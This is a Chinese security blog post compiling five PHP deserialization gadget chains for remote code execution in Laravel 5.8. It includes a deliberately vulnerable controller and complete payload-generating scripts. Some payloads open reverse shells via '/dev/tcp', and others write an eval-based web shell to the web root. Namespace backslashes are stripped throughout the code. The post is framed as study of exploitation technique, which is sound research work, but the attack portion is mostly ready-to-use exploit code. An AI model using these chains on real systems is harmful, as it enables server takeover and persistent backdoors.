Laravel 5.8 RCE POP链汇总分析

 

自从phar反序列化的出现,php反序列化的攻击面扩展了不少,框架POP链的挖掘自然得到了重视。这几天整理了 Laravel5.8 能用的POP链,不少前面版本的POP链也还是能用的,在大师傅们的payload基础上修改整理,主要是分析一下提高自己的POP链构造能力。

测试使用的 Laravel 是通过 composer 默认方法 composer create-project --prefer-dist laravel/laravel blog "5.8.*"安装的,如果用到了未默认带的组件会在文中说明。

创建一个控制器

class IndexController extends Controller
{
    public function index(IlluminateHttpRequest $request){
        $payload=$request->input("payload");
        @unserialize($payload);
    }
}

添加路由

Route::get('/', "IndexController@index");

 

POP链1

入口类:IlluminateBroadcastingpendiongBroadcast

最后RCE调用类:FakerGenerator

IlluminateBroadcasting PendingBroadcast类的__destruct入手,其中event和events都是完全可控的。

然后全局搜索dispatch函数,没有找到合适的函数。全局搜索__callFaker中找到Generator类的__call

跟进,它会调用format函数,其中format会调用call_user_func_array。且第一个参数,由下面的getFormatter返回,我们可以指定$this->formatters为数组array('dispatch'=>'system'),getFormatter就会返回’system’。

RCE

可以看到,控制了call_user_func_array两个参数,而第二个参数是原来的$this->event经过__call之后变成了array($this->event),这意味着call_user_func_array第二个参数只能是个单元素的array。当然,这还是能执行system的,因为system必要只一个参数。

下面就是payload:

<?php

namespace Faker{
    class Generator
    {
        protected $formatters = array();
        public function __construct($formatters)
        {
            $this->formatters = $formatters;
        }
    }
}

namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace{
    $b = new FakerGenerator(array('dispatch'=>'system'));
    $a = new IlluminateBroadcastingPendingBroadcast($b, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/10012 0>&1'");
    echo urlencode(serialize($a));
}

写个SHELL吧

如果靶机禁用了像system这种的危险函数,我们需要使用双参数的函数例如file_put_contents写shell,或者希望执行任意函数,那么上面的payload就没办法了。

解决这个问题师傅们有很多种方案,我自己想了个还算简洁的方法,可以统一解决这个问题。

目前,call_user_func_array 第一个参数是完全可控的,这意味着我们可以调用任意类对象的任意方法,那么我们找一个有危险函数的类,并且参数可控就好啦。

搜索寻找PhpOption/LazyOption 类中的option函数的call_user_func_array函数中间两个参数都是完全可控的,非常完美的函数。

option函数不接受参数输入,但是LazyOption类其他的函数都是下面这样的,会直接调用option函数。完美!

最后payload:

<?php

namespace Faker{
    class Generator
    {
        protected $formatters = array();
        public function __construct($formatters)
        {
            $this->formatters = $formatters;
        }
    }
}

namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        private $option;

        public function __construct($callback, $arguments, $option)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
            $this->option = $option;
        }

    }
}


namespace{
    $c = new PhpOptionLazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
    $b = new FakerGenerator(array('dispatch'=> array($c, "filter")));
    $a = new IlluminateBroadcastingPendingBroadcast($b, 1);
    echo urlencode(serialize($a));
}

 

POP链2

入口类:IlluminateBroadcastingpendiongBroadcast

最后RCE调用类:IlluminateBusDispatcher

还是从IlluminateBroadcasting PendingBroadcast类的__destruct入手,其中event和events都是完全可控的。

然后全局搜索dispatch函数,在IlluminateBusDispatcher中找到dispatch函数

$this->queueResolver有值且$command是ShouldQueue类的实例

跟进dispatchToQueue函数

赫然一个call_user_func在眼前,第一个参数完全可控。这时,我们又和上面的情况一样了,可以调用任意类对象的任意方法,使用上面同样的LazyOption类,就可以执行任意函数了。

payload:

<?php

namespace IlluminateBus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace IlluminateEvents{
    class CallQueuedListener{
        protected $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}

namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        private $option;

        public function __construct($callback, $arguments, $option)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
            $this->option = $option;
        }

    }
}


namespace{
    $c = new PhpOptionLazyOption('system', array('id'), null);
    $d = new IlluminateEventsCallQueuedListener('id');
    $b = new IlluminateBusDispatcher(array($c, 'filter'));
    $a = new IlluminateBroadcastingPendingBroadcast($b, $d);
    echo urlencode(serialize($a));
}

 

POP链3

入口类:IlluminateBroadcastingpendiongBroadcast

最后RCE调用类:IlluminateValidationValidator

这个是在phpgcc中看见的,虽然标注的可用版本是5.5.39,但经测试直到最新版本5.8.*还是可以用的。接下来继续分析一下。

任然是以IlluminateBroadcastingpendiongBroadcast类为入口

此时,继续找__call函数。在IlluminateValidationValidator类的__call函数

先进入$this->callExtension函数看看

可以看到调用call_user_func_array了,其中第一个参数和第二个参数都是可控的,只要前面正常执行下来就可以了。回看__call函数

我们必须确定$rule值为多少,才能进入$this->callExtension并且后面还牵扯到了call_user_func_array的第一个参数。我们知道在这里我们的$method为‘dispatch’,调试代码,发现$rule值总为''

RCE

那么就好办了,call_user_func_array两个参数都可控了,可以执行任意函数

<?php

namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace IlluminateValidation{
    class Validator{
        protected $extensions;
        public function __construct($extensions)
        {
            $this->extensions = $extensions;
        }
    }
}

namespace{
    $b = new IlluminateValidationValidator(array(''=>'system'));
    $a = new IlluminateBroadcastingPendingBroadcast($b, 'id');
    echo urlencode(serialize($a));
}

写个shell

这里和POP链1的毛病是一样的,这个POP链只能执行只有一个参数的函数,如果向写shell使用file_put_contents等多参数函数就没辙了,解决方法是一样的,下面是payload

<?php

namespace IlluminateBroadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace IlluminateValidation{
    class Validator{
        protected $extensions;
        public function __construct($extensions)
        {
            $this->extensions = $extensions;
        }
    }
}

namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        private $option;

        public function __construct($callback, $arguments, $option)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
            $this->option = $option;
        }

    }
}


namespace{
    $c = new PhpOptionLazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST["jrxnm"]);?>'), null);
    $b = new IlluminateValidationValidator(array(''=>array($c, 'filter')));
    $a = new IlluminateBroadcastingPendingBroadcast($b, '');
    echo urlencode(serialize($a));
}

 

POP链4

入口类:SymfonyComponentCacheAdapterTagAwareAdapter

最后RCE调用类:SymfonyComponentCacheAdapterProxyAdapter

必要组件Symfony,laravel5.7都是默认安装方法自带的。

首先找__destruct ,位于SymfonyComponentCacheAdapterTagAwareAdapter

依次向下进入invalidateTags函数。

经过一番简单的操作进入saveDeferred函数,本类的该函数没有啥危害,搜索找到ProxyAdapter类的saveDeferred函数

跟进,可以看到下面有个动态函数调用,$this->setInnerItem可控,函数的输入$item即为上面类的输入也可控,system函数正好可以有两个参数。

其中的 $item 本来输入是CacheItemInterface的对象,但是在里面强制转换成了array,也就有了类似"*expiry"的键值,其实就是该类的protected属性。

那么这么一顺,POP链差不多就出来了,细节看payload就可以了。

namespace SymfonyComponentCacheAdapter{
    class TagAwareAdapter{
        private $deferred;
        private $pool;
        function __construct($deferred, $pool){
            $this->deferred = $deferred;
            $this->pool = $pool;
        }

    }
    class ProxyAdapter{
        private $setInnerItem;
        private $poolHash;
        function __construct($setInnerItem, $poolHash){
            $this->setInnerItem = $setInnerItem;
            $this->poolHash = $poolHash;
        }
    }
}

namespace SymfonyComponentCache{
    final class CacheItem{
        protected $expiry;
        protected $poolHash;
        protected $innerItem;

        function __construct($expiry, $poolHash, $innerItem){
            $this->expiry = $expiry;
            $this->poolHash = $poolHash;
            $this->innerItem = $innerItem;
        }
    }
}

namespace{
    $b = new SymfonyComponentCacheAdapterProxyAdapter('system', 1);
    $d = new SymfonyComponentCacheCacheItem(1, 1, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9898 0>&1'");
    $a = new SymfonyComponentCacheAdapterTagAwareAdapter(array($d),$b);
    echo urlencode(serialize($a));
}

 

POP链5

入口类:IlluminateFoundationTestingPendingCommand

这个POP链来自于CVE-2019-9081,虽然当时针对于laravel5.7,同样的payload5.8同样是能用的。这个POP链是最复杂的,本人水平有限,如果分析的不清楚可以去看看作者本人的博客。

现在我们来分析一下这个POP链,首先找到IlluminateFoundationTestingPendingCommand类的__destruct

跟进run函数,在这个函数的注释中上面赫然写着Execute the command

哪里可以执行命令呢,根据这个代码结构,确定应该是在try…catch中的$this->app[Kernel::class]->call($this->command, $this->parameters);执行命令。

$this->app是什么呢,在注释中看到它是IlluminateContractsFoundationApplication的实例

好,先不管它是怎么执行命令的,我们先让代码顺利执行到这的话,必须要顺利走过$this->mockConsoleOutput();

跟进

这部分代码我并没有很好的理解,但是问题不大,只要顺利通过就行。要顺利通过,首先下面这些类属性需要适当的值.

$this-app上面我们已经分析过了,$this->parameters是待会要执行命令的参数,先随便填一个,问题在于$this->test->expectedOutput,事实上未找到任何实现了的类中拥有expectedOutput属性的。不过我们还可以使用__get魔法函数,在IlluminateAuthGenericUser中的__get 函数就很好

解决了这几个类属性问题,再去看mockConsoleOutput中还有一个要进入的函数createABufferedOutputMock

跟进,进入函数,$this->test->expectedOutput用上面同样的方法解决。后面顺利就能走完这些函数。

回到run函数,接下来就是不好理解的地方了。

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

上面我们分析过了$this->appIlluminateContractsFoundationApplication的实例,Kernel::class的值固定为IlluminateContractsConsoleKernel

$this->app[Kernel::class]依我的理解,相当于在构建Kernel::class类的实例,但是在构建过程中,被作者改变了并执行了call方法。我们跟着payload继续进入。make函数可以直接进入。

进入直到这里,这个函数返回一个$object,然后就马上执行后面的call函数,我们能确定在这里实例类对象

最后返回的是$object,它从$concrete得来,进入getConcrete函数

前面if语句跳过,$abstractIlluminateContractsConsoleKernel,控制$this->bindings我们可以返回任意类。在这里POP链作者决定继续返回IlluminateContractsFoundationApplication 类(后面就是使用此类父类的call函数执行代码的)

继续往下走,到了实例化类的时候了,进入下面的make,循环一遍,进入build成功实例化类对象。

进入IlluminateContractsFoundationApplication父类call函数

继续跟进,跳过上面的if,着重观察下面匿名函数中call_user_func_array的两个参数,一个$callback可控,跟进static::getMethodDependencies函数

getMethodDependencies函数返回$dependencies$parameters的合并结果,当$callback为system时,$dependencies为空。

那么此时,POP链已经完全构造好了。

payload:

<?php
namespace IlluminateFoundationTesting{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace IlluminateAuth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}

namespace IlluminateFoundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new IlluminateAuthGenericUser(array("expectedOutput"=>array(),"expectedQuestions"=>array()));
    $application = new IlluminateFoundationApplication(array("IlluminateContractsConsoleKernel"=>array("concrete"=>"IlluminateFoundationApplication")));
    $pendingcommand = new IlluminateFoundationTestingPendingCommand("system",array('id'),$genericuser,$application);
    echo urlencode(serialize($pendingcommand));
}
?>

 

总结

可以看到,这些POP链有很多是基于IlluminateBroadcastingpendiongBroadcast入口的,当然这也意味着如果有更多的入口,这后面的RCE也是可以继续使用的。

上面构造POP链用了很多tricks,比如调用不存在的方法去找__call,参数不存在去找__get(可以考虑IlluminateAuthGenericUser的__get),可以任意执行某个类实例的某个方法时可以考虑PhpOption/LazyOption类。这些gadget遇到类似问题时拿来都是可以直接用的,通篇分析下来,感觉自己对laravel框架也更熟了一些。

最后pop链都整合在这https://github.com/SZFsir/laravel_POP_RCE ,有兴趣的可以一起复现一下。

 

参考

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

https://xz.aliyun.com/t/5911

http://m4p1e.com/web/20181224.html

https://github.com/ambionics/phpggc

https://xz.aliyun.com/t/5483

https://xz.aliyun.com/t/2901

(完)